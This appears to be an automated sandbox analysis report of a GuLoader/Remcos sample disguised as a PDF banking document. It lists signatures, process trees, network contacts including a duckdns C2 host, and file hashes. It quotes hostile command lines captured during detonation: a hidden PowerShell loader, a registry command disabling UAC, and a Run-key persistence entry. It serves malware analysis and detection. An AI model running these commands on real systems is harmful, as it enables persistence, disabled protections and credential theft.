Analysis Overview
SHA256
d7325eb4553b2c58a8580cb84af63cfe5cdf4ff23a3d4e09a963c656d5717d8c
Threat Level: Known bad
The file pko_trans_details_20240710_105339·pdf.exe was found to be: Known bad.
Malicious Activity Summary
UAC bypass
Guloader,Cloudeye
NirSoft MailPassView
NirSoft WebBrowserPassView
Nirsoft
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Loads dropped DLL
Adds Run key to start application
Accesses Microsoft Outlook accounts
Legitimate hosting services abused for malware hosting/C2
Suspicious use of NtCreateThreadExHideFromDebugger
Suspicious use of SetThreadContext
Suspicious use of NtSetInformationThreadHideFromDebugger
Program crash
Enumerates physical storage devices
Unsigned PE
NSIS installer
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Modifies registry key
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-10 08:38
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
NSIS installer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-10 08:38
Reported
2024-07-10 08:40
Platform
win7-20240704-en
Max time kernel
149s
Max time network
148s
Command Line
Signatures
Guloader,Cloudeye
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Windows\SysWOW64\reg.exe | N/A |
NirSoft MailPassView
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
NirSoft WebBrowserPassView
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Nirsoft
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe | N/A |
Accesses Microsoft Outlook accounts
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Windows\CurrentVersion\Run\Preeffort = "%Begittede% -windowstyle minimized $Assiduity=(Get-ItemProperty -Path 'HKCU:\\Jeglasset\\').Communicatory;%Begittede% ($Assiduity)" | C:\Windows\SysWOW64\reg.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2856 set thread context of 1140 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2856 set thread context of 1764 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2856 set thread context of 1728 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Enumerates physical storage devices
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe
"C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Forhrt=Get-Content 'C:\Users\Admin\AppData\Local\kilns\Unobtainably\Helicopter.San';$Forset=$Forhrt.SubString(45874,3);.$Forset($Forhrt)"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preeffort" /t REG_EXPAND_SZ /d "%Begittede% -windowstyle minimized $Assiduity=(Get-ItemProperty -Path 'HKCU:\Jeglasset\').Communicatory;%Begittede% ($Assiduity)"
C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preeffort" /t REG_EXPAND_SZ /d "%Begittede% -windowstyle minimized $Assiduity=(Get-ItemProperty -Path 'HKCU:\Jeglasset\').Communicatory;%Begittede% ($Assiduity)"
C:\Windows\SysWOW64\cmd.exe
/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
C:\Windows\SysWOW64\reg.exe
C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\ctbyqqvqppawzvpxqeskfzzfkufbvjjw"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\mwpi"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\pqubsbqd"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 172.217.16.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 216.58.201.99:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 216.58.201.99:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 216.58.201.97:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | a458386d9.duckdns.org | udp |
| DE | 217.76.50.73:3256 | a458386d9.duckdns.org | tcp |
| DE | 217.76.50.73:3256 | a458386d9.duckdns.org | tcp |
| US | 8.8.8.8:53 | geoplugin.net | udp |
| DE | 217.76.50.73:3256 | a458386d9.duckdns.org | tcp |
| DE | 217.76.50.73:3256 | a458386d9.duckdns.org | tcp |
| NL | 178.237.33.50:80 | geoplugin.net | tcp |
Files
\Users\Admin\AppData\Local\Temp\nsy8805.tmp\nsDialogs.dll
| MD5 | 1c8b2b40c642e8b5a5b3ff102796fb37 |
| SHA1 | 3245f55afac50f775eb53fd6d14abb7fe523393d |
| SHA256 | 8780095aa2f49725388cddf00d79a74e85c9c4863b366f55c39c606a5fb8440c |
| SHA512 | 4ff2dc83f640933162ec8818bb1bf3b3be1183264750946a3d949d2e7068ee606277b6c840193ef2b4663952387f07f6ab12c84c4a11cae9a8de7bd4e7971c57 |
\Users\Admin\AppData\Local\Temp\nsy8805.tmp\BgImage.dll
| MD5 | 521df745a41f0b8164ffd01717cacbba |
| SHA1 | dc7a9eacfbeb1fae52091da5e80db6cb1b6bce74 |
| SHA256 | dbf91707fa157603bea025a6411cdcb497ab11262c9c18b14dc431a45aa17c0b |
| SHA512 | c5b1ba062872a8f534e2f0eac57fc3c0d8be9cda79605d86566d67260ba5477444a0ddfed1838b4fb14c677e5342c8419a88fcd38147dbaa36ac1f9e00c52bbe |
\Users\Admin\AppData\Local\Temp\nsy8805.tmp\UserInfo.dll
| MD5 | acbda33dd5700c122e2fe48e3d4351fd |
| SHA1 | 2c154baf7c64052ee712b7cdf9c36b7697dd3fc8 |
| SHA256 | 943b33829f9013e4d361482a5c8981ba20a7155c78691dbe02a8f8cd2a02efa0 |
| SHA512 | d090adf65a74ac5b910b18bb67e989714335e7b4778cd771cff154d7186351a1bebbc7103cca849bdfa2709c991947ffff6c1d8fdf16a74f4dfb614bce3ff6fd |
memory/2856-30-0x0000000073611000-0x0000000073612000-memory.dmp
memory/2856-31-0x0000000073610000-0x0000000073BBB000-memory.dmp
memory/2856-32-0x0000000073610000-0x0000000073BBB000-memory.dmp
memory/2856-33-0x0000000073610000-0x0000000073BBB000-memory.dmp
memory/2856-34-0x0000000073610000-0x0000000073BBB000-memory.dmp
C:\Users\Admin\AppData\Local\kilns\Unobtainably\Helicopter.San
| MD5 | bf1ebfd1285dd7ef43a587e9f51a8e33 |
| SHA1 | 1dede4026611e9f40c91d9bbe406a06b2fd8bfa4 |
| SHA256 | de1db1c0a065f580b4fe878c5b363933e45ec7f0c06118d29b6d167af24189ff |
| SHA512 | 3b7b11a8989a0b46e4091c8e4c81e71a2454fc9fba77618d844653d548ecd59a2c8b8fce3338fa499ca84da8664f7e34f355ab8b18e3507598f5f63dd3a80389 |
memory/2856-37-0x0000000073610000-0x0000000073BBB000-memory.dmp
C:\Users\Admin\AppData\Local\kilns\Unobtainably\Polemoniaceae11.Non
| MD5 | afc1982fff88592a55312010cfc773c6 |
| SHA1 | c57e918c5149ca9c2a331a78ecef84ffc667feb7 |
| SHA256 | 02a71af4b95cf275ba0430022e9c2665bd1e4ddb3177202c1c3059901eefd4f0 |
| SHA512 | f4acf46244cb0115e0666a631af6dd2e7400478103cd9c152e48307a2239108e7e6bf3b39467747b3efa8b0fbdc59216ad6a26ec5587c19bb56fb4512233117e |
memory/2856-39-0x0000000073610000-0x0000000073BBB000-memory.dmp
memory/2856-40-0x0000000006570000-0x000000000B12C000-memory.dmp
memory/2856-41-0x0000000073610000-0x0000000073BBB000-memory.dmp
memory/2856-63-0x0000000006570000-0x000000000B12C000-memory.dmp
memory/1764-67-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1764-68-0x0000000000400000-0x0000000000462000-memory.dmp
memory/1140-66-0x0000000000400000-0x0000000000478000-memory.dmp
memory/1764-72-0x0000000000400000-0x0000000000462000-memory.dmp
memory/1140-74-0x0000000000400000-0x0000000000478000-memory.dmp
memory/1764-73-0x0000000000400000-0x0000000000462000-memory.dmp
memory/1728-71-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1140-69-0x0000000000400000-0x0000000000478000-memory.dmp
memory/1140-65-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1728-76-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1728-75-0x0000000000400000-0x0000000000424000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\ctbyqqvqppawzvpxqeskfzzfkufbvjjw
| MD5 | f3b25701fe362ec84616a93a45ce9998 |
| SHA1 | d62636d8caec13f04e28442a0a6fa1afeb024bbb |
| SHA256 | b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209 |
| SHA512 | 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84 |
memory/2856-85-0x0000000010000000-0x0000000010019000-memory.dmp
memory/2856-89-0x0000000010000000-0x0000000010019000-memory.dmp
memory/2856-88-0x0000000010000000-0x0000000010019000-memory.dmp
C:\ProgramData\remcos\logs.dat
| MD5 | 916d87716e284ad70028f968c063d37c |
| SHA1 | 7d66790055f596e81ad939ad271b6b9d21fed2ae |
| SHA256 | 69bc9bf9329f98e8ab8b196e477bfd84205271f8a43c87d898ea4c55c3da6c02 |
| SHA512 | 6019cadabf6959601384e5fb8d79a0915d65206ce94b91cf31574119d04dae2026d3106bc2334f571182db64864a92cf9120adf66aadaa3c94d7f492da5a2cb4 |
Analysis: behavioral4
Detonation Overview
Submitted
2024-07-10 08:38
Reported
2024-07-10 08:40
Platform
win10v2004-20240709-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4228 wrote to memory of 4528 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 4228 wrote to memory of 4528 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 4228 wrote to memory of 4528 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\BgImage.dll,#1
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\BgImage.dll,#1
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | udp |
Files
Analysis: behavioral6
Detonation Overview
Submitted
2024-07-10 08:38
Reported
2024-07-10 08:40
Platform
win10v2004-20240709-en
Max time kernel
92s
Max time network
126s
Command Line
Signatures
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\rundll32.exe |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2920 wrote to memory of 1912 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 2920 wrote to memory of 1912 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 2920 wrote to memory of 1912 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\UserInfo.dll,#1
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\UserInfo.dll,#1
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1912 -ip 1912
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1912 -s 612
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 2.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
Files
Analysis: behavioral8
Detonation Overview
Submitted
2024-07-10 08:38
Reported
2024-07-10 08:40
Platform
win10v2004-20240709-en
Max time kernel
150s
Max time network
154s
Command Line
Signatures
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\rundll32.exe |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3428 wrote to memory of 4188 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 3428 wrote to memory of 4188 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 3428 wrote to memory of 4188 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsDialogs.dll,#1
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsDialogs.dll,#1
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4188 -ip 4188
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4188 -s 636
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | udp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-10 08:38
Reported
2024-07-10 08:40
Platform
win10v2004-20240709-en
Max time kernel
94s
Max time network
125s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1644 wrote to memory of 4848 | N/A | C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1644 wrote to memory of 4848 | N/A | C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1644 wrote to memory of 4848 | N/A | C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe
"C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Forhrt=Get-Content 'C:\Users\Admin\AppData\Local\kilns\Unobtainably\Helicopter.San';$Forset=$Forhrt.SubString(45874,3);.$Forset($Forhrt)"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4848 -ip 4848
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 2644
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 71.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.243.111.52.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\nsfAD48.tmp\nsDialogs.dll
| MD5 | 1c8b2b40c642e8b5a5b3ff102796fb37 |
| SHA1 | 3245f55afac50f775eb53fd6d14abb7fe523393d |
| SHA256 | 8780095aa2f49725388cddf00d79a74e85c9c4863b366f55c39c606a5fb8440c |
| SHA512 | 4ff2dc83f640933162ec8818bb1bf3b3be1183264750946a3d949d2e7068ee606277b6c840193ef2b4663952387f07f6ab12c84c4a11cae9a8de7bd4e7971c57 |
C:\Users\Admin\AppData\Local\Temp\nsfAD48.tmp\BgImage.dll
| MD5 | 521df745a41f0b8164ffd01717cacbba |
| SHA1 | dc7a9eacfbeb1fae52091da5e80db6cb1b6bce74 |
| SHA256 | dbf91707fa157603bea025a6411cdcb497ab11262c9c18b14dc431a45aa17c0b |
| SHA512 | c5b1ba062872a8f534e2f0eac57fc3c0d8be9cda79605d86566d67260ba5477444a0ddfed1838b4fb14c677e5342c8419a88fcd38147dbaa36ac1f9e00c52bbe |
C:\Users\Admin\AppData\Local\Temp\nsfAD48.tmp\UserInfo.dll
| MD5 | acbda33dd5700c122e2fe48e3d4351fd |
| SHA1 | 2c154baf7c64052ee712b7cdf9c36b7697dd3fc8 |
| SHA256 | 943b33829f9013e4d361482a5c8981ba20a7155c78691dbe02a8f8cd2a02efa0 |
| SHA512 | d090adf65a74ac5b910b18bb67e989714335e7b4778cd771cff154d7186351a1bebbc7103cca849bdfa2709c991947ffff6c1d8fdf16a74f4dfb614bce3ff6fd |
memory/4848-24-0x0000000073DFE000-0x0000000073DFF000-memory.dmp
memory/4848-25-0x0000000002AD0000-0x0000000002B06000-memory.dmp
memory/4848-26-0x00000000053B0000-0x00000000059D8000-memory.dmp
memory/4848-27-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/4848-28-0x0000000073DF0000-0x00000000745A0000-memory.dmp
memory/4848-29-0x0000000005110000-0x0000000005132000-memory.dmp
memory/4848-31-0x0000000005A50000-0x0000000005AB6000-memory.dmp
memory/4848-30-0x00000000059E0000-0x0000000005A46000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ngteszyj.lto.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4848-41-0x0000000005AC0000-0x0000000005E14000-memory.dmp
memory/4848-42-0x00000000060C0000-0x00000000060DE000-memory.dmp
memory/4848-43-0x0000000006110000-0x000000000615C000-memory.dmp
memory/4848-46-0x0000000006610000-0x0000000006632000-memory.dmp
memory/4848-45-0x00000000065F0000-0x000000000660A000-memory.dmp
memory/4848-44-0x00000000072A0000-0x0000000007336000-memory.dmp
memory/4848-47-0x00000000078F0000-0x0000000007E94000-memory.dmp
C:\Users\Admin\AppData\Local\kilns\Unobtainably\Helicopter.San
| MD5 | bf1ebfd1285dd7ef43a587e9f51a8e33 |
| SHA1 | 1dede4026611e9f40c91d9bbe406a06b2fd8bfa4 |
| SHA256 | de1db1c0a065f580b4fe878c5b363933e45ec7f0c06118d29b6d167af24189ff |
| SHA512 | 3b7b11a8989a0b46e4091c8e4c81e71a2454fc9fba77618d844653d548ecd59a2c8b8fce3338fa499ca84da8664f7e34f355ab8b18e3507598f5f63dd3a80389 |
memory/4848-49-0x0000000008520000-0x0000000008B9A000-memory.dmp
memory/4848-51-0x0000000073DF0000-0x00000000745A0000-memory.dmp
Analysis: behavioral3
Detonation Overview
Submitted
2024-07-10 08:38
Reported
2024-07-10 08:40
Platform
win7-20240705-en
Max time kernel
13s
Max time network
21s
Command Line
Signatures
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3040 wrote to memory of 2144 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 3040 wrote to memory of 2144 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 3040 wrote to memory of 2144 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 3040 wrote to memory of 2144 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
